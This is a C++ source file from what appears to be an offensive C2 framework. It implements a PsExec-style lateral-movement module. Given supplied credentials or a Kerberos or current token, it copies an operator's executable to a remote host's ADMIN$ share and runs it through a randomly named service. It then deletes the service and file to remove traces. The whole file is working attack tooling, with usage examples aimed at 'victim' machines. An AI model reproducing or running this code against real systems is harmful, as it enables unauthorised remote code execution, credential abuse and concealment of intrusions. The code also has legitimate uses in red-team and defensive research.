Files
maxDcb-C2Core/modules/PsExec/PsExec.cpp
T
Maxime dcb 108a370807 CommandSpecs & Tests
* CommandSpecs

* CommandSpecs

* feat(command-specs): add simple module specs

* listModule

* AssemblyExec

* AssemblyExecTests

* Minor

* Inject

* InjectTests

* Spec modules

* Folder layout

* upload & download

* Chisel Minidump Powershell & Script

* CoffLoader DotnetExec /KerberosUseTicket PsExec PwSh ScreenShot

* add artifact_filters

* Minor

* stabilisation

* Fixes

* manual test

* manual test

* manual test

* manual test

* manual test

* manual test

* manual test

* manual test

* ScreenShot png

* socks5 hostname

* Maj for AI

* minor
2026-05-10 21:28:40 +02:00

580 lines
17 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#include "PsExec.hpp"
#include <cstring>
#include <algorithm>
#include "Tools.hpp"
#include "Common.hpp"
#ifdef __linux__
#elif _WIN32
#include <windows.h>
#include <winbase.h>
#endif
#include "Common.hpp"
using namespace std;
#ifdef __linux__
#elif _WIN32
#endif
constexpr std::string_view moduleName = "psExec";
constexpr unsigned long long moduleHash = djb2(moduleName);
#ifdef _WIN32
__declspec(dllexport) PsExec* PsExecConstructor()
{
return new PsExec();
}
#else
__attribute__((visibility("default"))) PsExec* PsExecConstructor()
{
return new PsExec();
}
#endif
PsExec::PsExec()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
#endif
{
srand(time(NULL));
}
PsExec::~PsExec()
{
}
// --------------------------------------------------------------------------------
// Attacker (TeamServer / Operator) Target host (victim)
// ----------------------------- --------------------------
// 1) Prepare payload (local) (no network)
// - build or pick payload.exe
// 2) Authenticate & upload payload -> SMB TCP/445 (SMB)
// Attacker --------------------------> \\TARGET\ADMIN$\payload.exe
// (WNetAddConnection2 / LogonUser + copy)
// - Auth methods: NTLM (SMB), Kerberos (if domain & SPN), explicit creds / impersonation
// - Requires write access to ADMIN$ (Administrator)
// - Result: binary placed on remote filesystem
// 3) Remote service control (create/start service) RPC over Named Pipe or RPC/TCP
// Attacker ---[svcctl RPC]--> \\TARGET\pipe\svcctl (via SMB/445)
// (or RPC endpoint mapper 135 + dynamic RPC ports)
// - OpenSCManager (remote) -> CreateService -> StartService
// - Uses Service Control Manager RPC interface (svcctl)
// - Auth: same authenticated session (SMB/NTLM/Kerberos) or impersonated token
// - Ports: typically SMB (445). If RPC/TCP used, may require 135 + dynamic RPC ports.
// 4) Service process launches locally on target (no new network)
// SCM starts the image path (ImagePath) as a process
// 5) Wait / optionally stop & delete service svcctl RPC (same as step 3)
// Attacker ---[svcctl RPC]--> StopService / DeleteService
// 6) Cleanup: remove file via SMB TCP/445 (SMB)
// Attacker --------------------------> Delete \\TARGET\ADMIN$\payload.exe
// - Remove traces (best-effort)
// --------------------------------------------------------------------------------
// Notes on connectivity & ports:
// - SMB (TCP/445): used for file upload to ADMIN$ and often used as transport for RPC named pipes
// - RPC endpoint mapper (TCP/135): only needed when RPC/TCP with dynamic ports is used
// - RPC dynamic ports: ephemeral ports (default Windows 4915265535) if RPC/TCP chosen
// - In practice many tools use the svcctl named pipe over SMB, so allowing TCP/445 is usually sufficient
// Notes on authentication:
// - NTLM over SMB: common for local/admin creds; credentials supplied to SMB session
// - Kerberos (domain): use SPN and TGS/ALPN; preferred in domain environments (-k)
// - Impersonation / LogonUser: you can obtain a token locally and impersonate before making RPCs
// Permissions required:
// - Administrator on target (to write ADMIN$ and create services)
// - SMB writable to ADMIN$ or another writeable share
// - Firewall must allow required ports (445 + maybe 135 + dynamic RPC)
std::string PsExec::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
info += "PsExec Module:\n";
info += "Execute a binary on a remote victim machine by creating a service using SCM and an exe file deliver via an SMB \\ADMIN$ share.\n";
info += "- The target account must have sufficient privileges (Administrator) to create and start services on the remote host.\n";
info += "- The service creation attempts to launch the provided executable directly as a Windows service.\n";
info += " * If the executable is NOT a valid service (does not implement ServiceMain/handle control codes), StartService will fail and the attempt will crash/return an error.\n";
info += " * You can wrap arbitrary binaries with a service wrapper (e.g. nssm) if you need to run non-service executables as services.\n";
info += "- The module uses a short-lived service: the service is expected to stop within ~2 seconds and will be deleted after stopping.\n";
info += " * Therefore the executable launched by the service MUST NOT perform long-running tasks inside the service process (it should perform a quick action and exit).\n";
info += "- Authentication: provide explicit credentials (-u) or use Kerberos (-k) / current token (-n) as appropriate.\n";
info += "- The service executable is resolved by the TeamServer from Tools first, then UploadedArtifacts.\n";
info += "\nExamples:\n";
info += "- psExec -u DOMAIN\\\\Username Password m3dc.cyber.local service.exe\n";
info += "- psExec -k m3dc.cyber.local service.exe\n";
info += "- psExec -n m3dc.cyber.local service.exe\n";
info += "- psExec -n 10.9.20.10 service.exe\n";
#endif
return info;
}
int PsExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
if (splitedCmd.size() >= 2)
{
string mode = splitedCmd[1];
if(mode=="-u" && splitedCmd.size() >= 6)
{
string usernameDomain=splitedCmd[2];
string password=splitedCmd[3];
string target=splitedCmd[4];
std::string username="";
std::string domain=".";
std::vector<std::string> splitedList;
splitList(usernameDomain, "\\", splitedList);
if(splitedList.size()==1)
username = splitedList[0];
else if(splitedList.size()>1)
{
domain = splitedList[0];
username = splitedList[1];
}
std::string cmd = domain;
cmd += '\0';
cmd += username;
cmd += '\0';
cmd += password;
cmd += '\0';
cmd += target;
c2Message.set_cmd(cmd);
string inputFile = splitedCmd[5];
std::ifstream input(inputFile, std::ios::binary);
if( input )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
c2Message.set_data(buffer.data(), buffer.size());
}
else
{
c2Message.set_returnvalue("Failed: Couldn't open file.");
return -1;
}
}
else if((mode=="-n" || mode=="-k") && splitedCmd.size() >= 4)
{
string target = splitedCmd[2];
std::string cmd = "";
cmd += target;
c2Message.set_cmd(cmd);
string inputFile = splitedCmd[3];
std::ifstream input(inputFile, std::ios::binary);
if( input )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
c2Message.set_data(buffer.data(), buffer.size());
}
else
{
c2Message.set_returnvalue("Failed: Couldn't open file.");
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
c2Message.set_instruction(splitedCmd[0]);
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
#endif
return 0;
}
#define ERROR_COPY 1
#define ERROR_CREATE_SERVICE 2
#define ERROR_DELETE 3
#define ERROR_AUTH_FAILED 4
#define ERROR_CONFIG 5
#define ERROR_OPEN_SCM 6
#define ERROR_OPEN_SERVICE 7
#define ERROR_START_SERVICE 8
#define ERROR_DEL_SERVICE 9
#define ERROR_STOP_SERVICE 10
#ifdef _WIN32
namespace
{
std::wstring widen(const std::string& value)
{
if (value.empty())
{
return std::wstring();
}
int required = MultiByteToWideChar(CP_UTF8, 0, value.c_str(), static_cast<int>(value.size()), nullptr, 0);
if (required <= 0)
{
return std::wstring();
}
std::wstring buffer(static_cast<size_t>(required), L'\0');
MultiByteToWideChar(CP_UTF8, 0, value.c_str(), static_cast<int>(value.size()), buffer.data(), required);
return buffer;
}
std::string randomName( size_t length )
{
auto randchar = []() -> char
{
const char charset[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const size_t max_index = (sizeof(charset) - 1);
return charset[ rand() % max_index ];
};
std::string str(length,0);
std::generate_n( str.begin(), length, randchar );
return str;
}
BOOL createFileSMB(const std::string& dstPath, const std::string& data, std::string& result)
{
HANDLE hFile = CreateFile(dstPath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
result = std::to_string(GetLastError());
return FALSE;
}
DWORD dwBytesWritten = 0;
BOOL success = WriteFile(hFile, data.data(), data.size(), &dwBytesWritten, NULL);
if (!success)
result = std::to_string(GetLastError());
CloseHandle(hFile);
return success;
}
int createServiceWithSCM(const std::string& scmServer, const std::string& serviceName, const std::string& servicePath, std::string& result)
{
SERVICE_STATUS ss;
// GENERIC_WRITE = STANDARD_RIGHTS_WRITE | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_MODIFY_BOOT_CONFIG
SC_HANDLE hSCM = OpenSCManagerA(scmServer.c_str(), NULL, SC_MANAGER_ALL_ACCESS);
if (hSCM == NULL)
{
result += std::to_string(GetLastError());
return ERROR_OPEN_SCM;
}
SC_HANDLE hService = CreateServiceA(hSCM,
serviceName.c_str(),
serviceName.c_str(),
GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
servicePath.c_str(),
NULL, NULL, NULL, NULL, NULL);
if (hService == NULL)
{
result += std::to_string(GetLastError());
return ERROR_CREATE_SERVICE;
}
hService = OpenServiceA(hSCM,serviceName.c_str(), GENERIC_ALL);
if (hService == NULL)
{
result += std::to_string(GetLastError());
DeleteService(hService);
return ERROR_OPEN_SERVICE;
}
// fail if the exe is not a svc but a regular exe, but should launch it anyway
BOOL sucess = StartService(hService, NULL, NULL);
if(!sucess)
{
result += std::to_string(GetLastError());
SERVICE_STATUS status;
sucess = ControlService(hService, SERVICE_CONTROL_STOP, &status);
DeleteService(hService);
return ERROR_START_SERVICE;
}
Sleep(2000); // for the service to run
SERVICE_STATUS status;
sucess = ControlService(hService, SERVICE_CONTROL_STOP, &status);
if(!sucess)
{
result += std::to_string(GetLastError());
DeleteService(hService);
return ERROR_STOP_SERVICE;
}
sucess = DeleteService(hService);
if(!sucess)
{
result += std::to_string(GetLastError());
return ERROR_DEL_SERVICE;
}
return 0;
}
}
#endif
int PsExec::process(C2Message &c2Message, C2Message &c2RetMessage)
{
const std::string cmd = c2Message.cmd();
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(cmd);
std::string result;
bool error = 0;
#ifdef _WIN32
std::vector<std::string> splitedList;
std::string delimitator;
delimitator+='\0';
splitList(cmd, delimitator, splitedList);
bool useToken=false;
bool usePassword=false;
std::string scmServer="";
std::string domainName="";
std::string username="";
std::string user="";
std::string password="";
if(splitedList.size()==4)
{
usePassword=true;
domainName=splitedList[0];
username=splitedList[1];
password=splitedList[2];
scmServer=splitedList[3];
user=domainName;
user+="\\";
user+=username;
}
else if(splitedList.size()==1)
{
usePassword=false;
scmServer=splitedList[0];
}
else
{
c2RetMessage.set_errorCode(ERROR_CONFIG);
c2RetMessage.set_returnvalue(result);
return 0;
}
const std::string data = c2Message.data();
std::string execName = randomName(8);
std::string dstPath="\\\\";
dstPath+=scmServer;
dstPath+="\\admin$\\";
dstPath+=execName;
dstPath+=".exe";
std::string serviceName=execName;
std::string servicePath="%SystemRoot%\\";
servicePath+=execName;
servicePath+=".exe";
HANDLE hToken;
if(usePassword)
{
std::wstring usernameWide;
std::wstring passwordWide;
std::wstring domainNameWide;
usernameWide = widen(username);
passwordWide = widen(password);
domainNameWide = widen(domainName);
BOOL success = LogonUserW(usernameWide.c_str(), domainNameWide.c_str(), passwordWide.c_str(), LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, &hToken);
if(!success)
{
result = std::to_string(GetLastError());
c2RetMessage.set_errorCode(ERROR_AUTH_FAILED);
c2RetMessage.set_returnvalue(result);
return 0;
}
success = ImpersonateLoggedOnUser(hToken);
if(!success)
{
result = std::to_string(GetLastError());
c2RetMessage.set_errorCode(ERROR_AUTH_FAILED);
c2RetMessage.set_returnvalue(result);
return 0;
}
}
BOOL success = createFileSMB(dstPath, data, result);
if (success)
{
int ret = createServiceWithSCM(scmServer, serviceName, servicePath, result);
if (ret!=0)
{
DeleteFile(dstPath.c_str());
if(usePassword)
{
RevertToSelf();
CloseHandle(hToken);
}
c2RetMessage.set_errorCode(ret);
c2RetMessage.set_returnvalue(result);
return 0;
}
success = DeleteFile(dstPath.c_str());
if (!success)
{
error = ERROR_DELETE;
result = std::to_string(GetLastError());
}
}
else
{
error = ERROR_COPY;
result = std::to_string(GetLastError());
}
if(usePassword)
{
RevertToSelf();
CloseHandle(hToken);
}
if(error)
c2RetMessage.set_errorCode(error);
else
{
result = "Sucess: SVC ";
result += serviceName;
}
c2RetMessage.set_returnvalue(result);
return 0;
#elif __linux__
result = "Only supported on Windows.\n";
return 0;
#endif
}
int PsExec::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
int errorCode = c2RetMessage.errorCode();
if (errorCode > 0)
{
switch (errorCode)
{
case ERROR_COPY:
errorMsg = "Failed to copy the file to the remote SMB share.";
break;
case ERROR_CREATE_SERVICE:
errorMsg = "Failed to create the service (CreateService failed).";
break;
case ERROR_DELETE:
errorMsg = "Failed to delete the remote file.";
break;
case ERROR_AUTH_FAILED:
errorMsg = "Authentication failed: invalid credentials or insufficient privileges.";
break;
case ERROR_CONFIG:
errorMsg = "Configuration error: invalid parameters, missing arguments or bad paths.";
break;
case ERROR_OPEN_SCM:
errorMsg = "Failed to open the Service Control Manager on the target host.";
break;
case ERROR_OPEN_SERVICE:
errorMsg = "Failed to open the service (service may not exist or access was denied).";
break;
case ERROR_START_SERVICE:
errorMsg = "Failed to start the service. The specified executable is not a valid Windows service and did not exhibit the expected service behavior.";
break;
case ERROR_DEL_SERVICE:
errorMsg = "Failed to delete the service (service may still be running or marked for deletion).";
break;
case ERROR_STOP_SERVICE:
errorMsg = "Failed to stop the service (control request was denied or the service did not respond).";
break;
default:
errorMsg = "Unknown error: code " + std::to_string(errorCode);
break;
}
}
#endif
return 0;
}